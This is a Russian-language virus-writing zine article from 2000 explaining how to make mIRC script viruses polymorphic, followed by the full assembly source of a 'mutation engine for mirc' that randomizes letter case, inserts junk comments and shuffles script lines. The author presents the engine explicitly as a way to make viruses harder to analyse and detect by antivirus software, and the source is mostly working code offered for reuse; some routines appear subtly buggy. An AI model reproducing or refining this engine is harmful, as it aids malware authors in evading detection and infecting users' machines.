01.03.2000 Полиморфизм в mirc-скриптах [mongoose]
   вступление

    На данный момент я хотел заняться написанием статьи про полиморфизм 
 в макро вирусах, но нашел для себя более интересную тему. Тем более никто
 еще (по моим данным) ничего подобного не писал.


   как сделать скрипты полиморфными?

    Пока я "придумал" только три способа:

    1. по рандому изменять размер букв (с больших на  маленькие, с 
       маленьких на большие)
    2. добавлять между инструкциями коментарии с рандомным содержанием 
       (или добавлять мусорные инструкции ;)
    3. перемешивать инструкции скрипта между собой

    Первые два метода визуально затрудняют изучение вируса. Но  для ав 
 детектирование полиморфиков  первого и второго "уровней" реальной 
 сложности не представляет, однако не  стоит использовать только третий
 "уровень  полиморфности", все же "первый" и "второй" "уровни" затрудняют
 визуально восприятие. x)


   практическая реализация

    Исходный текст сырого mutation engine for mirc 005:

----[mefm005.asm]-------------------------------------------------[start]
; mefm [mutation engine for mirc]
; -------------------------------
; on start: ax - table location
;           cx - number of script commands
;           dx - buffer location
;           di - temp buffer location
;
; return:   cx - script size
;
;                designed by mongoose, Misdirected Youth, december 1999
;
               .model   tiny
               .code
                org     100h
 public         mefm

 mefm           proc
                call    calculate_ip             ; Calculate IP
 get_delta_ip:  sub     bp,offset get_delta_ip
                jmp     continue_mefm
 engine_name            db 'MEFM005'
 continue_mefm: push    ax
                in      ax,40h           ; Turn random number gen. on
                in      al,40h
                mov     word ptr [bp+_seed],ax
                pop     ax

                mov     word ptr [bp+table_location],ax
                mov     word ptr [bp+script_commands],cx
                mov     word ptr [bp+buffer_location],dx
                mov     word ptr [bp+temp_buffer_location],di

                sub     dx,dx
 mutate_cmnds:  push    ax cx dx
                mov     ax,dx
                mov     cx,4
                mul     cx

                mov     di,word ptr [bp+table_location]
                add     di,ax
                mov     si,word ptr [di]
                mov     cx,word ptr [di+2]
                call    polymorph_str
                pop     dx cx ax
                inc     dx
                loop    mutate_cmnds

                mov     word ptr [bp+string_number],0

                mov     cx,word ptr [bp+script_commands]
                push    cx
                add     cx,200
                mov     si,word ptr [bp+temp_buffer_location]
                call    clear_str

                mov     di,word ptr [bp+buffer_location]
                lea     si,[bp+script_start]
                mov     cx,10
                cld
                rep     movsb
                pop     cx

 write_cmnds:   push    cx             
                mov     cx,word ptr [bp+script_commands]
                call    gen_rnd_num
                mov     si,word ptr [bp+temp_buffer_location]
                add     si,200
                add     si,ax                
                cmp     byte ptr [si],0
                jz      write_cmnd
                pop     cx
                jmp     write_cmnds

 write_cmnd:    call    generate_junk

                mov     byte ptr [si],1

                lea     si,[bp+string_num]
                mov     cx,1
                cld
                rep     movsb

                push    ax
                mov     dx,word ptr [bp+string_number]
                call    dec16out

                lea     si,[bp+temp_num]
                call    find_str_end

                lea     si,[bp+temp_num]
                cld
                rep     movsb

                lea     si,[bp+string_start]
                mov     cx,1
                cld
                rep     movsb

                pop     ax
                mov     cx,4
                mul     cx

                push    di
                mov     di,word ptr [bp+table_location]
                add     di,ax
                mov     si,word ptr [di]
                mov     cx,word ptr [di+2]
                pop     di
                cld
                rep     movsb

                inc     word ptr [bp+string_number]
                pop     cx

                call    generate_junk
                loop    write_cmnds
                push    di
                pop     cx
                sub     cx,word ptr [bp+buffer_location]
                ret

_seed                   dw ?
 temp_num               db 10 dup (?)
 string_number          dw ?
 table_location         dw ?
 script_commands        dw ?
 buffer_location        dw ?
 temp_buffer_location   dw ?

 string_num             db 'n'
 string_start           db '=;'
 script_start           db '[script]',13,10
;------------------------------------------------------------------------
; generate_junk - generate & write junk comments
;------------------------------------------------------------------------
 generate_junk: push    ax cx dx bx bp si
                call    _gen_junk
                pop     si bp bx dx cx ax
                ret

 _gen_junk:     push    di
                in      ax,40h
                mov     word ptr [bp+_seed],ax
                mov     cx,3
                call    gen_rnd_num
                mov     cx,ax
                inc     cx
                pop     di

 gen_junk_loop: push    cx
                lea     si,[bp+string_num]
                mov     cx,1
                cld
                rep     movsb

                mov     dx,word ptr [bp+string_number]
                call    dec16out

                lea     si,[bp+temp_num]
                call    find_str_end

                lea     si,[bp+temp_num]
                cld
                rep     movsb

                lea     si,[bp+string_start]
                mov     cx,2
                cld
                rep     movsb

                call    write_comment

                lea     si,[bp+script_start+8]
                mov     cx,2
                cld
                rep     movsb

                inc     word ptr [bp+string_number]
                pop     cx
                loop    gen_junk_loop
                ret

 write_comment: push    ax cx dx bx bp si
                call    _write_cmnt
                pop     si bp bx dx cx ax
                ret

 _write_cmnt:   mov     cx,100
                in      ax,40h
                in      al,40h
                mov     word ptr [bp+_seed],ax
                call    gen_rnd_num
                xchg    cx,ax
                inc     cx

 _write_loop:   push    cx
                mov     cx,3
                call    gen_rnd_num
                or      ax,ax
                jz      wrt_small
                cmp     al,1
                jz      wrt_number

 wrt_big:       mov     al,61h
                jmp     choose_let
 wrt_small:     mov     al,41h
                jmp     choose_let
 wrt_number:    mov     al,30h
                push    ax
                mov     cx,9
                call    gen_rnd_num
                jmp     move_to_buf

 choose_let:    push    ax
                mov     cx,26
                call    gen_rnd_num
 move_to_buf:   pop     dx
                add     dl,al
                mov     byte ptr [di],dl
                inc     di
                pop     cx
                loop    _write_loop
                ret
;------------------------------------------------------------------------
; convert_to_lk - convert to low case
;
; si - string size
; si - string offset
;------------------------------------------------------------------------
 convert_to_lk: cmp     byte ptr [si],'A'
                jb      char_hk
                cmp     byte ptr [si],'Z'
                ja      char_hk
                add     byte ptr [si],20h
 char_hk:       inc     si
                loop    convert_to_lk
                ret
;------------------------------------------------------------------------
; convert_to_hk - convert to high case
;
; si - string size
; si - string offset
;------------------------------------------------------------------------
 convert_to_hk: cmp     byte ptr [si],'a'
                jb      char_lk
                cmp     byte ptr [si],'z'
                ja      char_lk
                sub     byte ptr [si],20h
 char_lk:       inc     si
                loop    convert_to_lk
                ret
;------------------------------------------------------------------------
; polymorph_str - polymorph string
;
; si - string size
; si - string offset
;------------------------------------------------------------------------
;------------------------------------------------------------------------
; polymorph_str - polymorph string
;------------------------------------------------------------------------
 polymorph_str: cmp     byte ptr [si],'A'
                jb      check_sm
                cmp     byte ptr [si],'Z'
                ja      check_sm

 big:           push    cx
                mov     cx,2
                call    gen_rnd_num
                pop     cx
                or      ax,ax
                jnz     next_poly
                push    cx
                mov     cx,1
                call    convert_to_lk
                pop     cx
                jmp     next_poly

 check_sm:      cmp     byte ptr [si],'a'
                jb      next_poly
                cmp     byte ptr [si],'z'
                ja      next_poly

 small:         push    cx
                mov     cx,2
                call    gen_rnd_num
                pop     cx
                or      ax,ax
                jnz     next_poly
                push    cx
                mov     cx,1
                call    convert_to_hk
                pop     cx
                jmp     next_poly

 next_poly:     inc     si
                loop    polymorph_str
                ret
;------------------------------------------------------------------------
; gen_rnd_num - return random number (in ax) from 0 to cx
;
; cx - high border-1
;------------------------------------------------------------------------
 gen_rnd_num:   push    bx
                mov     ax,[bp+_seed]
                mov     bx,261
                mul     bx
                or      ax,ax
                jz      again
                mov     bx,65521
                div     bx
                or      dx,dx
                jnz     not_zero
 again:         inc     word ptr [bp+_seed]
                pop     bx
                jmp     gen_rnd_num

 not_zero:      mov     word ptr [bp+_seed],dx
                xchg    ax,dx
                sub     dx,dx
                or      ax,ax
                jnz     cont_rnd
                inc     ax
                or      cx,cx
                jnz     cont_rnd
                inc     cx
 cont_rnd:      div     cx
                xchg    ax,dx
                pop     bx
                ret
;------------------------------------------------------------------------
; calculate_ip - calculate ip
;------------------------------------------------------------------------
 calculate_ip:  pop     bp
                push    bp
                ret
;------------------------------------------------------------------------
 dec16out:      push    ax cx bx bp di
                sub     cx,cx
                sub     si,si
                push    si
                mov     di,word ptr [bp+temp_buffer_location]
                add     di,100
                mov     si,di
                mov     cx,10
                call    clear_str
                pop     si

 dec16out1:     push    cx
                mov     ax,dx
                sub     dx,dx
                mov     cx,10
                div     cx
                xchg    ax,dx
                add     al,30h
                mov     [di],al
                inc     di
                pop     cx
                inc     cx
                or      dx,dx
                jnz     dec16out1

 dec16out2:     dec     di
                mov     al,[di]

                mov     byte ptr [bp+si+temp_num],al
                inc     si
                loop    dec16out2

;               mov     byte ptr [bp+temp_buffer_location],0
                pop     di bp bx cx ax
                ret
;------------------------------------------------------------------------
 clear_str:     mov     byte ptr [si],0
                inc     si
                loop    clear_str
                ret
;------------------------------------------------------------------------
 find_str_end:  push    si
 find_str_loop: cmp     byte ptr [si],0
                jz      found_str_end
                inc     si
                jmp     find_str_loop
 found_str_end: mov     cx,si
                pop     si
                sub     cx,si
                ret
;------------------------------------------------------------------------
 mefm           endp
                end
--------------------------------------------------------------------[end]

                           code & article by mongoose, misdirected youth